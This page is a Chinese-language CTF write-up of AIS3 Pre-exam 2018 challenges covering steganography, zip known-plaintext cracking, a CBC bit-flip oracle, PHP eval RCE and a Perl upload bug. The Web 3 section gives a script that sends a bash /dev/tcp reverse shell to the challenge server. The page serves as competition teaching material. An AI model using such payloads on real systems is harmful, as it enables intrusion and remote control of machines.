<!DOCTYPE HTML> <!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). --> <html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>AIS3 Pre-exam 2018</title> <link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css"> <link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css"> <link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/> <link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css"> <script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script> <script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script> <script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script> <script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script> </head> <style> body { padding-top: 56px; } .sticky-offset { top: 56px; } #body-row { margin-left:0; margin-right:0; } #sidebar-container { min-height: 100vh; background-color: #333; padding: 0; } /* Sidebar sizes when expanded and expanded */ .sidebar-expanded { width: 230px; } .sidebar-collapsed { width: 60px; } /* Menu item*/ #sidebar-container .list-group a { height: 50px; color: white; } /* Submenu item*/ #sidebar-container .list-group .sidebar-submenu a { height: 45px; padding-left: 60px; } .sidebar-submenu { font-size: 0.9rem; } /* Separators */ .sidebar-separator-title { background-color: #333; height: 35px; } .sidebar-separator { background-color: #333; height: 25px; } .logo-separator { background-color: #333; height: 60px; } /* active scrollspy */ .list-group-item.active { border-color: transparent; border-left: #e69138 solid 4px; } /* anchor padding top https://stackoverflow.com/a/28824157 */ :target:before { content:""; display:block; height:56px; /* fixed header height*/ margin:-56px 0 0; /* negative fixed header height */ } </style> <script> // https://stackoverflow.com/a/48330533 $(window).on('activate.bs.scrollspy', function (event) { let active_collapse = $($('.list-group-item.active').parents()[0]); $(".collapse").removeClass("show"); active_collapse.addClass("show"); let parent_menu = $('a[href="#' + active_collapse[0].id + '"]'); $('a[href^="#submenu"]').css("border-left", ""); parent_menu.css("border-left","#e69138 solid 4px"); }); // http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters MathJax.Hub.Config({ tex2jax: { inlineMath: [['$','$'], ['\\(','\\)']], processEscapes: true } }); </script> <body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70"> <nav class="navbar navbar-expand-md navbar-light bg-light fixed-top"> <button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation"> <span class="navbar-toggler-icon"></span> </button> <a class="navbar-brand" href="https://github.com/balsn/ctf_writeup"> <img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30"> <span class="menu-collapsed">balsn / ctf_writeup</span> </a> <div class="collapse navbar-collapse" id="navbarNavDropdown"> <ul class="navbar-nav my-2 my-lg-0"> <li class="nav-item dropdown d-sm-block d-md-none"> <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe> <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> rev </a> <div class="dropdown-menu" aria-labelledby="smallerscreenmenu"> </div> </li> <li class="nav-item dropdown d-sm-block d-md-none"> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> pwn </a> <div class="dropdown-menu" aria-labelledby="smallerscreenmenu"> </div> </li> <li class="nav-item dropdown d-sm-block d-md-none"> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> misc </a> <div class="dropdown-menu" aria-labelledby="smallerscreenmenu"> <a class="dropdown-item" href="#misc-1">misc-1</a> <a class="dropdown-item" href="#misc-2">misc-2</a> <a class="dropdown-item" href="#misc-3">misc-3</a> <a class="dropdown-item" href="#misc-4">misc-4</a> </div> </li> <li class="nav-item dropdown d-sm-block d-md-none"> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> web </a> <div class="dropdown-menu" aria-labelledby="smallerscreenmenu"> <a class="dropdown-item" href="#web-1">web-1</a> <a class="dropdown-item" href="#web-2">web-2</a> <a class="dropdown-item" href="#web-3">web-3</a> <a class="dropdown-item" href="#web-4">web-4</a> </div> </li> <li class="nav-item dropdown d-sm-block d-md-none"> <a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> crypto </a> <div class="dropdown-menu" aria-labelledby="smallerscreenmenu"> <a class="dropdown-item" href="#crypto-1">crypto-1</a> <a class="dropdown-item" href="#crypto-2">crypto-2</a> <a class="dropdown-item" href="#crypto-3-(unsolved,-thanks-to-@how2hack)">crypto-3-(unsolved,-thanks-to-@how2hack)</a> <a class="dropdown-item" href="#crypto-4">crypto-4</a> </div> </li> </ul> </div> <div class="navbar-collapse collapse w-100 order-3 dual-collapse2"> <ul class="navbar-nav ml-auto"> <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe> <iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe> </ul> </div> </nav> <div class="row" id="body-row"> <div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2"> <ul class="list-group sticky-top sticky-offset"> <a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark"> <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold"> <span class="fa fa-dashboard fa-fw mr-3"></span> <span class="menu-collapsed">rev</span> <span class="submenu-icon ml-auto"></span> </div> </a> <div id="submenu0" class="collapse sidebar-submenu"> </div> <a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark"> <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold"> <span class="fa fa-dashboard fa-fw mr-3"></span> <span class="menu-collapsed">pwn</span> <span class="submenu-icon ml-auto"></span> </div> </a> <div id="submenu1" class="collapse sidebar-submenu"> </div> <a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark"> <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold"> <span class="fa fa-dashboard fa-fw mr-3"></span> <span class="menu-collapsed">misc</span> <span class="submenu-icon ml-auto"></span> </div> </a> <div id="submenu2" class="collapse sidebar-submenu"> <a href="#misc-1" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">misc-1</span> </a> <a href="#misc-2" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">misc-2</span> </a> <a href="#misc-3" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">misc-3</span> </a> <a href="#misc-4" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">misc-4</span> </a> </div> <a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark"> <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold"> <span class="fa fa-dashboard fa-fw mr-3"></span> <span class="menu-collapsed">web</span> <span class="submenu-icon ml-auto"></span> </div> </a> <div id="submenu3" class="collapse sidebar-submenu"> <a href="#web-1" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">web-1</span> </a> <a href="#web-2" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">web-2</span> </a> <a href="#web-3" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">web-3</span> </a> <a href="#web-4" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">web-4</span> </a> </div> <a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark"> <div class="d-flex w-100 justify-content-start align-items-center font-weight-bold"> <span class="fa fa-dashboard fa-fw mr-3"></span> <span class="menu-collapsed">crypto</span> <span class="submenu-icon ml-auto"></span> </div> </a> <div id="submenu4" class="collapse sidebar-submenu"> <a href="#crypto-1" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">crypto-1</span> </a> <a href="#crypto-2" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">crypto-2</span> </a> <a href="#crypto-3-(unsolved,-thanks-to-@how2hack)" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">crypto-3-(unsolved,-thanks-to-@how2hack)</span> </a> <a href="#crypto-4" class="list-group-item list-group-item-action text-white bg-dark"> <span class="menu-collapsed">crypto-4</span> </a> </div> </ul> </div> <div class="col-10 py-3"> <article class="markdown-body"><h1 id="ais3-pre-exam-2018"><a class="header-link" href="#ais3-pre-exam-2018"></a>AIS3 Pre-exam 2018</h1> <p><a href="https://ais3.org/">AIS3 (Advanced Information Security Summer School)</a> is a cyber security course in Taiwan. Therefore this writeup will be written in Chinese:)</p> <p>By @bookgin, @sces60107</p> <p>And thanks to @how2hack for the writeup of crypto 3!</p> <h2 id="rev"><a class="header-link" href="#rev"></a>Rev</h2> <p>@sces60107 破臺,但太忙沒空寫xD</p> <h2 id="pwn"><a class="header-link" href="#pwn"></a>Pwn</h2> <p>@sces60107 太忙沒空寫也沒空打xD</p> <h2 id="misc"><a class="header-link" href="#misc"></a>Misc</h2> <h3 id="misc-1"><a class="header-link" href="#misc-1"></a>Misc 1</h3> <p>看題目中給的影片就有 flag 了。</p> <h3 id="misc-2"><a class="header-link" href="#misc-2"></a>Misc 2</h3> <p>這題給了一個圖片,想辦法找 flag。<img src="https://i.imgur.com/7O4997q.jpg" alt=""></p> <p>圖一看就知道是假 flag,但還是手賤傳了一下然後被 server 嗆 incorrect (這次的解題平台還會紀錄 flag 錯誤次數XD),再來就是圖片分析起手式 <a href="https://github.com/zardus/ctf-tools/tree/master/stegsolve">stegsolve</a>,也沒什麼東西,而且這次一張超糊的 jpg。</p> <p>看來不是藏在圖片中,接下來就是 strings, binwalk, foremost,用binwalk/foremost 可以抽出一個 zip 檔,但是這個 zip 被加密了。</p> <p>雖然 zip 有被加密,但是檔名、資料夾結構、檔案大小沒有加密,我們發現裡面有 <code>backup/Avengers_Infinity_War_Poster.jpg</code> 跟 <code>backup/flag</code> ,這張 Avengers Infinity War Poster 把檔案名稱上網搜尋,可以找到 <a href="https://kk.wikipedia.org/wiki/%D0%A1%D1%83%D1%80%D0%B5%D1%82:Avengers_Infinity_War_poster.jpg">wiki</a> 有一張檔案名稱一樣的,連大小都一樣,在<a href="https://upload.wikimedia.org/wikipedia/kk/archive/4/4d/20180606151139%21Avengers_Infinity_War_poster.jpg">這裡。</a></p> <p>zip 有一種攻擊叫做 known-plaintext attack,在已知部份明文的情況下,可以算出壓縮檔案的密碼,這個在<a href="https://www.30cm.tw/2015/08/ctf-ais3-write-up.html">某一年 ais3 pre-exam 也出過</a>,用 pkcrack 就可以解開。</p> <p>把明文的 zip 跟路徑弄好之後執行以下指令,得到密碼為 <code>asdfghjkl;</code></p> <pre class="hljs"><code>./pkcrack -C flag.zip -c <span class="hljs-string">"backup/Avengers_Infinity_War_Poster.jpg"</span> -P plain.zip -p <span class="hljs-string">"backup/Avengers_Infinity_War_Poster.jpg"</span></code></pre><p>解開 zip 後得到 flag <code>AIS3{NONONONONONONONONONONO}</code>,但你以為這樣就結束了嗎?錯,這個 flag 是假的,送到解題平臺只會徒增 incorrect flag 的次數。</p> <p>然後我就卡在這裡,嘗試在對原本的圖片做更詳細的分析、對 zip 做詳細檢查有沒有藏東西,但都一無所獲,看著解題人數有二三十人,應該是很簡單的方向,這個 zip known-plaintext attack 卻不是 flag......</p> <p>最後主辦單位給出了 hint,印象中是叫我們注意 <code>AIS3{Not_this_one}</code> 第一個假 flag 的下方,請各位仔細回去看上面那張圖字的下排,你會發現跟上面明顯不對稱。@sces60107 很快發現這是摩斯密碼,我還在眼花看著高壓縮度的 jpg 不知道摩斯密碼在哪裡,看了大概五分鐘才看出來,這密碼解出來就是真的 flag 了。</p> <p>本題非常具有金盾獎的水準。</p> <p>在題目裡面放假的 flag 是還好,但這個 zip known-plaintext attack 的假 flag,讓人偏離正規解法太遠,這樣出題並不是很恰當。</p> <h3 id="misc-3"><a class="header-link" href="#misc-3"></a>Misc 3</h3> <p>題目給一個 mp3 音樂檔,聽上去就是一個人在清唱歌曲。</p> <p>初步 strings, binwalk, foremost 都找不出任何有用的東西。進一步就是用 audacity/sonic visualizer 開起來看波形跟 spectrogram,但也沒什麼特別的。</p> <p>這樣大致可以猜測這題可能是用某些專業的 audio stego 的軟體來做的,但是不知道那一款?</p> <p>來試試看 Google <code>svega.mp3</code> ,沒有什麼收穫......(但 @sces60107 一搜尋第一個就是 mp3stego,我猜可能是 Google 預設語言/個人偏好設定不同,導致結果差很多)</p> <p>那這樣只能有點無腦的暴力嘗試常見的 Audio Stego 軟體了,試了<a href="https://github.com/DominicBreuker/stego-toolkit">一些</a>都沒效,連 <a href="http://www.petitcolas.net/steganography/mp3stego/">mp3stego</a> 都試過了(用default的密碼 pass),但仔細想想覺得 mp3stego 還是最有可能的,因為他是我唯一找到 mp3 格式的 stego 軟體,但需要密碼才能解開。</p> <p>之前嘗試 default 的密碼 <code>PASS</code>,密碼錯誤,那來試一下密碼空白呢?果然解密成功拿到 flag 。</p> <h3 id="misc-4"><a class="header-link" href="#misc-4"></a>Misc 4</h3> <p>這題有點可惜,我賽後十分鐘才解出來,遠端的 nc 實在是太慢了 XD</p> <p>先附上 server 的 code:</p> <pre class="hljs"><code><span class="hljs-keyword">import</span> os <span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES <span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64decode key = os.urandom(<span class="hljs-number">16</span>) answer = int.from_bytes(os.urandom(<span class="hljs-number">16</span>), <span class="hljs-string">'big'</span>) <span class="hljs-keyword">with</span> open(<span class="hljs-string">"flag"</span>, <span class="hljs-string">'r'</span>) <span class="hljs-keyword">as</span> data: flag = data.read().strip() <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span><span class="hljs-params">(text)</span>:</span> iv, text = text[:<span class="hljs-number">16</span>], text[<span class="hljs-number">16</span>:] aes = AES.new(key, AES.MODE_CBC, iv) <span class="hljs-keyword">return</span> aes.decrypt(text) print(<span class="hljs-string">"===== Welcome to number game ====="</span>) <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: number = decrypt(b64decode(input(<span class="hljs-string">"guess : "</span>).strip()))[:<span class="hljs-number">16</span>] number = int.from_bytes(number, <span class="hljs-string">'big'</span>) <span class="hljs-keyword">if</span> number > answer: print(<span class="hljs-string">"Too big"</span>) <span class="hljs-keyword">elif</span> number < answer: print(<span class="hljs-string">"Too small"</span>) <span class="hljs-keyword">else</span>: print(flag)</code></pre><p>題目會有一個答案,然後你可以給他一個數字,透過 CBC 的特性改 IV 能夠翻轉不同 bit,server 會告訴你你的數字比他大還是比他小,如果一樣就可以拿到 flag,總共有 128 bits。</p> <p>首先先想一下,我們有機會 bit by bit 猜嗎?</p> <p>如果第一個 bit 被我們猜中了,那我們在透過翻轉剩下的 127 bits,必定可以找到兩組數字,一組比答案大,一組比答案小;相反的如果我們第一個 bit 就猜錯,那無論怎麼翻轉剩下的 bits,都只會恆比答案大,或是恆比答案小。</p> <p>舉例來說,我們一次翻兩個 bits,即 [00, 01] 與 [10, 11],如果其中有一組出現一大一小,那我們可以確定該組的第一個 bit 是對的。如果沒有一組出現一大一小,只好一次翻三個 bits,即 [000, 001], [010, 011], [100,101], [110,111],這四組之中若有一組出現一大一小,那我們可以確定該組的前兩個 bits 是對的。</p> <p>那 worse case 的複雜度呢?假設答案是 1 ,我們原本猜測的數字是 0,那這個情況要到一次翻前127 bits 時,某一組出現 [00000...0, 00000...1],才會發現一大一小,這個 worse case 可是有著 要翻 $2^{128}$ 次才能發現........</p> <p>進一步考慮 worse case 發生的情況,會發現其實沒這麼容易發生,在答案隨機的情況下,需要一次翻 10 個 bits 的發生機率為 $ 2^{-9}$ (需要考慮 0 與 1 的狀況),所以就可以利用上述方法來猜每個 bit 了。 </p> <p>解題 script 寫的很醜,因為解題的的當下有一段時間沒有好好睡覺了XD</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-comment"># Python 3.6.5</span> <span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> * <span class="hljs-keyword">import</span> base64 <span class="hljs-keyword">import</span> string, os <span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> product chars = string.digits + string.ascii_letters <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">PoW</span><span class="hljs-params">(prefix)</span>:</span> <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> product(*[chars <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>)]): x = prefix + <span class="hljs-string">''</span>.join(i) sha256 = hashlib.sha256() sha256.update(x.encode()) <span class="hljs-keyword">if</span> sha256.hexdigest()[:<span class="hljs-number">6</span>] == <span class="hljs-string">'000000'</span>: <span class="hljs-keyword">return</span> x <span class="hljs-keyword">raise</span> RuntimeError(<span class="hljs-string">"Unfortunately, PoW not found."</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">b64</span><span class="hljs-params">(n)</span>:</span> <span class="hljs-keyword">return</span> base64.b64encode(n.to_bytes(<span class="hljs-number">16</span>, byteorder=<span class="hljs-string">'big'</span>) + <span class="hljs-string">b'SlowpokeIsCute<3'</span>) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">isSmall</span><span class="hljs-params">(n)</span>:</span> <span class="hljs-comment">#print(s.recvuntil(b': '))</span> s.sendline(b64(n)) r = s.recvuntil(<span class="hljs-string">'\n'</span>).decode() <span class="hljs-keyword">if</span> <span class="hljs-string">'AIS3'</span> <span class="hljs-keyword">in</span> r: print(r) exit(<span class="hljs-number">0</span>) <span class="hljs-keyword">return</span> <span class="hljs-string">'small'</span> <span class="hljs-keyword">in</span> r <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">p</span><span class="hljs-params">(n)</span>:</span> print(<span class="hljs-string">'{:0128b}'</span>.format(n)) <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">guess</span><span class="hljs-params">(n, idx, prefix_bits=<span class="hljs-number">0</span>)</span>:</span> <span class="hljs-comment"># BFS</span> <span class="hljs-keyword">if</span> (prefix_bits == <span class="hljs-number">8</span> <span class="hljs-keyword">or</span> prefix_bits > idx): <span class="hljs-comment"># oh we fail</span> print(<span class="hljs-string">'fail'</span>) <span class="hljs-keyword">return</span> <span class="hljs-keyword">None</span> <span class="hljs-keyword">assert</span> n & ((<span class="hljs-number">1</span><<(idx+<span class="hljs-number">1</span>))<span class="hljs-number">-1</span>) == <span class="hljs-number">0</span> <span class="hljs-keyword">for</span> prefix <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span><<prefix_bits): x = n | prefix<<(idx-prefix_bits+<span class="hljs-number">1</span>) print(idx, prefix_bits) y = x | <span class="hljs-number">1</span><<(idx-prefix_bits) <span class="hljs-keyword">if</span> isSmall(x) != isSmall(y): <span class="hljs-comment"># TADA !</span> <span class="hljs-keyword">return</span> (x, y), idx - prefix_bits - <span class="hljs-number">1</span> <span class="hljs-keyword">return</span> guess(n, idx, prefix_bits+<span class="hljs-number">1</span>) s = remote(<span class="hljs-string">'104.199.235.135'</span>, <span class="hljs-number">20004</span>) pow_str = s.recvuntil(<span class="hljs-string">'x = '</span>).decode() x_prefix = pow_str.split(<span class="hljs-string">"'"</span>)[<span class="hljs-number">1</span>] ans = PoW(x_prefix) s.sendline(ans) s.recvuntil(<span class="hljs-string">'\n'</span>) idx = <span class="hljs-number">8</span>*<span class="hljs-number">16</span><span class="hljs-number">-2</span> n0, n1 = <span class="hljs-number">0</span>, <span class="hljs-number">1</span><<<span class="hljs-number">127</span> <span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>: res = guess(n0, idx) <span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> res: res = guess(n1, idx) <span class="hljs-keyword">assert</span> res <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span> (n0, n1), idx = res p(n0) p(n1)</code></pre><p>Flag: <code>AIS3{ag3NTs Of S.H.I.E.L.D. - I 10V3 d4Isy J0HNs0n}</code></p> <p>這題沒有到太難,但前兩天都沒人解,貌似是因為 timeout ,原本好像只有 150 秒的限制,後來調到 300 秒再調到 600 秒的樣子(含PoW)。</p> <h2 id="web"><a class="header-link" href="#web"></a>Web</h2> <h3 id="web-1"><a class="header-link" href="#web-1"></a>Web 1</h3> <p>如題目敘述,HTTP response header 就有部份 flag,寫個 script 抓一下就好。</p> <h3 id="web-2"><a class="header-link" href="#web-2"></a>Web 2</h3> <p>沒記錯的話應該是掃 robots.txt 之類的找到 <code>_hidden_flag_.php</code>,這個頁面會用 js 讓你等十幾秒,時間到了會有按鈕跑出來進入下一個頁面,這個 js 被混淆過了:</p> <pre class="hljs"><code><span class="hljs-keyword">var</span> _0x13ed=[<span class="hljs-string">'getElementById'</span>,<span class="hljs-string">'disp'</span>,<span class="hljs-string">'setInterval'</span>,<span class="hljs-string">'onload'</span>,<span class="hljs-string">'clearInterval'</span>,<span class="hljs-string">'innerHTML'</span>,<span class="hljs-string">'<input\x20type=\x22submit\x22\x20value=\x22Get\x20flag\x20in\x20the\x20next\x20page.\x22/>'</span>];(<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x4ff87b,_0x35e2bc</span>)</span>{<span class="hljs-keyword">var</span> _0x2c01be=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x216360</span>)</span>{<span class="hljs-keyword">while</span>(--_0x216360){_0x4ff87b[<span class="hljs-string">'push'</span>](_0x4ff87b[<span class="hljs-string">'shift'</span>]());}};_0x2c01be(++_0x35e2bc);}(_0x13ed,<span class="hljs-number">0x13f</span>));<span class="hljs-keyword">var</span> _0x5d44=<span class="hljs-function"><span class="hljs-keyword">function</span>(<span class="hljs-params">_0x592680,_0x1e9b97</span>)</span>{_0x592680=_0x592680<span class="hljs-number">-0x0</span>;<span class="hljs-keyword">var</span> _0x50206c=_0x13ed[_0x592680];<span class="hljs-keyword">return</span> _0x50206c;};<span class="hljs-keyword">var</span> left=<span class="hljs-number">0x0</span>;<span class="hljs-keyword">var</span> timer=<span class="hljs-literal">null</span>;<span class="hljs-keyword">var</span> disp=<span class="hljs-literal">null</span>;<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">countdown</span>(<span class="hljs-params"></span>)</span>{left=left<span class="hljs-number">-0x1</span>;<span class="hljs-keyword">if</span>(timer!=<span class="hljs-literal">null</span>&&left==<span class="hljs-number">0x0</span>){<span class="hljs-built_in">window</span>[_0x5d44(<span class="hljs-string">'0x0'</span>)](timer);timer=<span class="hljs-literal">null</span>;disp[_0x5d44(<span class="hljs-string">'0x1'</span>)]=_0x5d44(<span class="hljs-string">'0x2'</span>);}<span class="hljs-keyword">else</span>{disp[_0x5d44(<span class="hljs-string">'0x1'</span>)]=<span class="hljs-string">'('</span>+left+<span class="hljs-string">')'</span>;}}<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setup</span>(<span class="hljs-params"></span>)</span>{disp=<span class="hljs-built_in">document</span>[_0x5d44(<span class="hljs-string">'0x3'</span>)](_0x5d44(<span class="hljs-string">'0x4'</span>));left=<span class="hljs-number">0xa</span>+<span class="hljs-built_in">parseInt</span>(<span class="hljs-built_in">Math</span>[<span class="hljs-string">'random'</span>]()*<span class="hljs-number">0xa</span>);timer=<span class="hljs-built_in">window</span>[_0x5d44(<span class="hljs-string">'0x5'</span>)](countdown,<span class="hljs-number">0x3e8</span>);disp[_0x5d44(<span class="hljs-string">'0x1'</span>)]=<span class="hljs-string">'('</span>+left+<span class="hljs-string">')'</span>;}<span class="hljs-built_in">window</span>[_0x5d44(<span class="hljs-string">'0x6'</span>)]=setup;</code></pre><p>事實上根本沒必要看,但我還是分析了一下,就只是 Math.random 隨機秒數之後產生 button,拿頁面上的參數送 post 去下一關。</p> <p>再度觀察 header (thanks to @sces60107 的提醒),header 會告知你有沒有拿到正確的 flag,所以寫 script 一直送 request,往下一關走,判斷 header 有沒有 flag 就好,總共送個一兩萬筆 request 就能拿到 flag。</p> <h3 id="web-3"><a class="header-link" href="#web-3"></a>Web 3</h3> <p>題目 code 我沒存,但大致上是這樣:</p> <pre class="hljs"><code><span class="hljs-meta"><?php</span> highlight_file(<span class="hljs-keyword">__file__</span>); $_ = $_GET[<span class="hljs-string">'🍣'</span>]; <span class="hljs-keyword">if</span> (stripos($_, <span class="hljs-string">'"'</span>) !== <span class="hljs-keyword">false</span> || stripos($_, <span class="hljs-string">"'"</span>) !== <span class="hljs-keyword">false</span>) <span class="hljs-keyword">die</span>(<span class="hljs-string">'GG'</span>); <span class="hljs-keyword">eval</span>(<span class="hljs-string">'die("'</span>.substr($_, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>).<span class="hljs-string">'");'</span>);</code></pre><p>16 個 byte 放到 <code>die(" [PAYLOAD] ");</code> 中去 eval,其中 payload 不能包含單雙引號。</p> <p>稍微查一下 php 的特性,會發現 <a href="http://php.net/manual/en/language.types.string.php#language.types.string.parsing">php double-quote string 可以放 dollar <code>$</code></a> ,可以用來 expand variables,進一步測試發現還可以做 function call,參考<a href="http://php.net/manual/en/language.types.string.php#language.types.string.parsing">這裡</a> 的 "Complex (curly) syntax"。</p> <p>然後 php <a href="http://php.net/manual/en/language.operators.execution.php">backtick</a> 可以用來 call shell,那目標明確:結合兩者直接拿 shell。</p> <p>先來個測試的 payload,一般做 proof of concept 的測試我都是用 <code>sleep 3</code>, <code>sh</code>, <code>cat /dev/urandom</code>, <code>yes</code> 之類來看會不會 hang 住,進而測試 RCE 可能性。</p> <pre class="hljs"><code>🍣=${`sleep <span class="hljs-number">5</span>`}</code></pre><p>果然真的睡了五秒才回,那可以 RCE 了,基本上可以拿 flag,但能不能拿到 reverse shell 呢?</p> <p>長度限制只有 16 bytes,reverse shell 的 payload 落落長很難在 16 bytes 內,那該怎麼拉長自己的 payload ?只好再依靠 php 幫我們一把,我們把 payload 用 get 傳,再靠 PHP interpret 變數並 RCE:</p> <pre class="hljs"><code>🍣=${`$_GET[<span class="hljs-number">1</span>]`}&<span class="hljs-number">1</span>=RCE_PAYLOAD</code></pre><p>Python script:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span> <span class="hljs-keyword">import</span> requests payload = <span class="hljs-string">'bash -i >& /dev/tcp/240.1.23/12345 0>&1 2>&1'</span> r = requests.get(<span class="hljs-string">'http://104.199.235.135:31333/'</span>, params={<span class="hljs-string">'🍣'</span>:<span class="hljs-string">'${`$_GET[1]`}'</span>, <span class="hljs-string">'1'</span>: payload}) print(r.text)</code></pre><h3 id="web-4"><a class="header-link" href="#web-4"></a>Web 4</h3> <p>先用 <a href="https://github.com/YSc21/webcocktail">scanner</a> 掃到 <code>.git</code> 後用 <a href="https://github.com/internetwache/GitTools">gitdumper</a> 拿下來,可以看到 perl 的 source code:</p> <pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/perl</span> <span class="hljs-comment"># My uploader!</span> <span class="hljs-keyword">use</span> strict; <span class="hljs-keyword">use</span> warnings; <span class="hljs-keyword">use</span> CGI; <span class="hljs-keyword">my</span> $cgi = CGI->new; <span class="hljs-keyword">print</span> $cgi->header(); <span class="hljs-keyword">print</span> <span class="hljs-string">"<body style=\"background: #caccf7 url('https://i.imgur.com/Syv2IVk.png');padding: 30px;\">"</span>; <span class="hljs-keyword">print</span> <span class="hljs-string">"<p style='color:red'>No BUG Q_____Q</p>"</span>; <span class="hljs-keyword">print</span> <span class="hljs-string">"<br>"</span>; <span class="hljs-keyword">print</span> <span class="hljs-string">"<pre>"</span>; <span class="hljs-keyword">if</span>( $cgi->upload(<span class="hljs-string">'file'</span>) ) { <span class="hljs-keyword">my</span> $file = $cgi->param(<span class="hljs-string">'file'</span>); <span class="hljs-keyword">while</span>(<$file>) { <span class="hljs-keyword">print</span> <span class="hljs-string">"$_"</span>; } } <span class="hljs-keyword">print</span> <span class="hljs-string">"</pre>"</span>;</code></pre><p>看了我也不知道要幹麻,那就 Google 一下吧,翻了一下發現這題之前已經出過一模一樣的:</p> <ul class="list"> <li><a href="https://dciets.com/writeups/2016/09/18/csaw-quals-ctf-2016-i-got-id/">https://dciets.com/writeups/2016/09/18/csaw-quals-ctf-2016-i-got-id/</a></li> <li><a href="https://tsublogs.wordpress.com/2016/09/18/606/">https://tsublogs.wordpress.com/2016/09/18/606/</a></li> <li><a href="https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf">https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf</a></li> </ul> <pre class="hljs"><code><span 